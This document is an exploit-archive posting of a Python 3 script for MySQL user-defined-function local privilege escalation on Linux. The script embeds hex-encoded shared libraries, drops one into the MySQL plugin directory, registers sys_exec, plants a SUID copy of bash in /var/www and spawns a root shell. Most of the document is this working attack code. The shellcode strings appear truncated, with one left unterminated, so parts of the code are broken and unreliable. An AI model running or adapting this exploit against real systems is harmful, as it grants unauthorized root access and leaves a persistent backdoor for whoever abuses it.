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MySQL User-Defined (Linux) x32 / x86_64 sys_exec Local Privilege Escalation

MySQL User-Defined (Linux) x32 / x86_64 sys_exec Local Privilege Escalation
Posted Aug 29, 2021
Authored by ninpwn

MySQL User-Defined (Linux) x32 / x86_64 sys_exec local privilege escalation exploit.

tags | exploit, local
systems | linux
SHA-256 | b562e8e6d56c7d3e2e28cd769077d9508fabb758d9e5d8db0035cde951f5ab11

MySQL User-Defined (Linux) x32 / x86_64 sys_exec Local Privilege Escalation

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# Exploit Title: MySQL User-Defined (Linux) x32 / x86_64 - 'sys_exec' Local Privilege Escalation (2) 
# Date: 29/08/2021
# Exploit Author: ninpwn
# Vendor Homepage: https://www.mysql.com
# Software Link: www.mysql.com
# Version: MySQL 4.x/5.x
# Tested on: Debian GNU/Linux 9 / mysql Ver 14.14 Distrib 5.7.30, for Linux (x86_64) using EditLine wrapper
# CVE : N/A

'''
*** MySQL User-Defined (Linux) x32 / x86_64 sys_exec function Local Privilege Escalation Exploit - Python 3 Version ***


UDF lib shellcodes retrieved from metasploit
(there are windows .dll libraries within metasploit as well so this could be easily ported to Windows)

Based on the Python 2 exploit by D7X (EDB ID: 46249) and the famous raptor_udf.c by Marco Ivaldi (EDB ID: 1518)
CVE: N/A
References:
https://dev.mysql.com/doc/refman/5.5/en/create-function-udf.html
https://www.exploit-db.com/exploits/1518
https://www.exploit-db.com/exploits/46249
https://www.exploit-db.com/papers/44139/ - MySQL UDF Exploitation by Osanda Malith Jayathissa (@OsandaMalith)

Tested on Linux 4.9.0-12-amd64 #1 SMP Debian 4.9.210-1 (2020-01-20) x86_64 GNU/Linux

@ninpwn
https://twitter.com/ninpwn
'''
#!/usr/bin/python3

import sys
import subprocess
import platform, random
import argparse
import os
import re
import pty

shellcode_x32 = "7f454c4601010100000000000000000003000300010000007009000034000000581200000000000034002000040028001900180001000000000000000000000000000000f80e0000f80e00000500000000100000010000000010000000100000001000000801000010010000060000000010000002000000141000001410000014100000d0000000d0000000060000000400000051e5746400000000000000000000000000000000000000000600000004000000250000002a0000001400000008000000270000001d0000000000000000000000030000000000000011000000000000000a0000002900000012000000200000000000000000000000260000000c0000002100000017000000230000000d000000000000000e0000001c000000150000000000000006000000000000000000000010000000220000000f0000002400000019000000180000000000000000000000000000000000000000000000000000001a0000000200000013000000050000000000000000000000000000000000000000000000000000001f00000001000000280000000000000000000000000000000000000000000000070000002500000016000000000000000b00000000000000000000000000000000000000000000001e0000001b0000000000000000000000090000000000000000000000040000000000000011000000130000000400000007000000010804409019c7c9bda4080390046083130000001500000016000000180000001a0000001c0000001f00000021000000000000002200000000000000230000002400000026000000280000002900000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe1200000000000000000000000000000000e7000000000000008d00000012000000c2000000000000005c00000012000000ba00000000000000e7040000120000000100000000000000000000002000000025000000000000000000000020000000ed000000000000007e02000012000000ab01000000000000150100001200000079010000000000007d00000012000000c700000000000000c600000012000000f50000000000000071010000120000009e01000000000000fb00000012000000cf00000000000000700000001200000010010000000000002500000012000000e0000000000000008901000012000000b500000000000000a80200001200000016000000000000000b0100002200000088010000000000007400000012000000fb00000000000000230000001200000080010000040d00006100000012000b00750000003b0a00000500000012000b0010000000f80d00000000000012000c003f010000a10c00002500000012000b001f010000100900000000000012000900c301000008110000000000001000f1ff96000000470a00000500000012000b0070010000ee0c00001600000012000b00cf01000010110000000000001000f1ff56000000310a00000500000012000b00020100009c0b00003000000012000b00a30100007d0d00003e00000012000b00390000002c0a00000500000012000b00320100006b0c00003600000012000b00bc01000008110000000000001000f1ff65000000360a00000500000012000b0025010000fc0b00006f00000012000b0085000000400a00000700000012000b0017010000cc0b00003000000012000b0055010000c60c00002800000012000b00a90000004c0a00008800000012000b008f010000650d00001800000012000b00d7000000d40a0000c800000012000b00005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e312e3300474c4942435f322e3000474c4942435f322e310000000200030003000000000003000300030003000300030003000300030003000400030002000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000300b20100001000000000000000731f690900000400d4010000100000001069690d00000300e0010000100000001169690d00000200ea01000000000000040b000008000000b70b000008000000e70b0000080000
shellcode_x64 = "7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e657661

shellcode = shellcode_x32
if (platform.architecture()[0] == '64bit'):
shellcode = shellcode_x64

# MySQL username and password: make sure you have FILE privileges and mysql is actually running as root
# username='root'
# password=''

###
#if len(sys.argv) != 2:
# print "Usage: %s <username> <password>" % argv[0]

#username=sys.argv[1];
#password=sys.argv[2];
###

parser = argparse.ArgumentParser()
parser.add_argument('--username', '-u', help='MySQL username', type=str, required=True)
parser.add_argument('--password', '-p', help='MySQL password', type=str)

args = parser.parse_args()

username=args.username
password=args.password

if not password:
password=''

cmd='mysql -u root -p\'' + password + '\' -e "select @@plugin_dir \G"'
plugin_str = subprocess.check_output(cmd, shell=True)
plugin_dir = re.search('@plugin_dir: (\S*)', plugin_str)
res = bool(plugin_dir)

if not res:
print("Error: could not locate the plugin directory")
os.exit(1);

plugin_dir_ = plugin_dir.group(1)

print("Plugin dir is %s" % plugin_dir_)

# file to save the udf so file to
udf_filename = 'udf' + str(random.randint(1000,10000)) + '.so'
udf_outfile = plugin_dir_ + udf_filename

# alternative way:
# set @outputpath := @@plugin_dir; set @outputpath := @@plugin_dir;

print("Trying to create a udf library...");
os.system('mysql -u root -p\'' + password + '\' -e "select binary 0x' + shellcode + ' into dumpfile \'%s\' \G"' % udf_outfile)
res = os.path.isfile(udf_outfile)

if not res:
print("Error: could not create udf file in %s (mysql is either not running as root or may be file exists?)" % udf_outfile)
os.exit(1);

print("UDF library created successfully: %s" % udf_outfile);
print("Trying to create sys_exec...")
os.system('mysql -u root -p\'' + password + '\' -e "create function sys_exec returns int soname \'%s\'\G"' % udf_filename)

print("Checking if sys_exec was created...")
cmd='mysql -u root -p\'' + password + '\' -e "select * from mysql.func where name=\'sys_exec\' \G"';
res = subprocess.check_output(cmd, shell=True);

if (res == ''):
print("sys_exec was not found (good luck next time!)")

if res:
print("sys_exec was found: %s" % res)
print("Generating a SUID binary in /var/www/bash...")
os.system('mysql -u root -p\'' + password + '\' -e "select sys_exec(\'cp /bin/bash /var/www/bash && chmod +s /var/www/bash\')"')

print("Trying to spawn a root shell...")
os.system("cd /var/www && ./bash -p")



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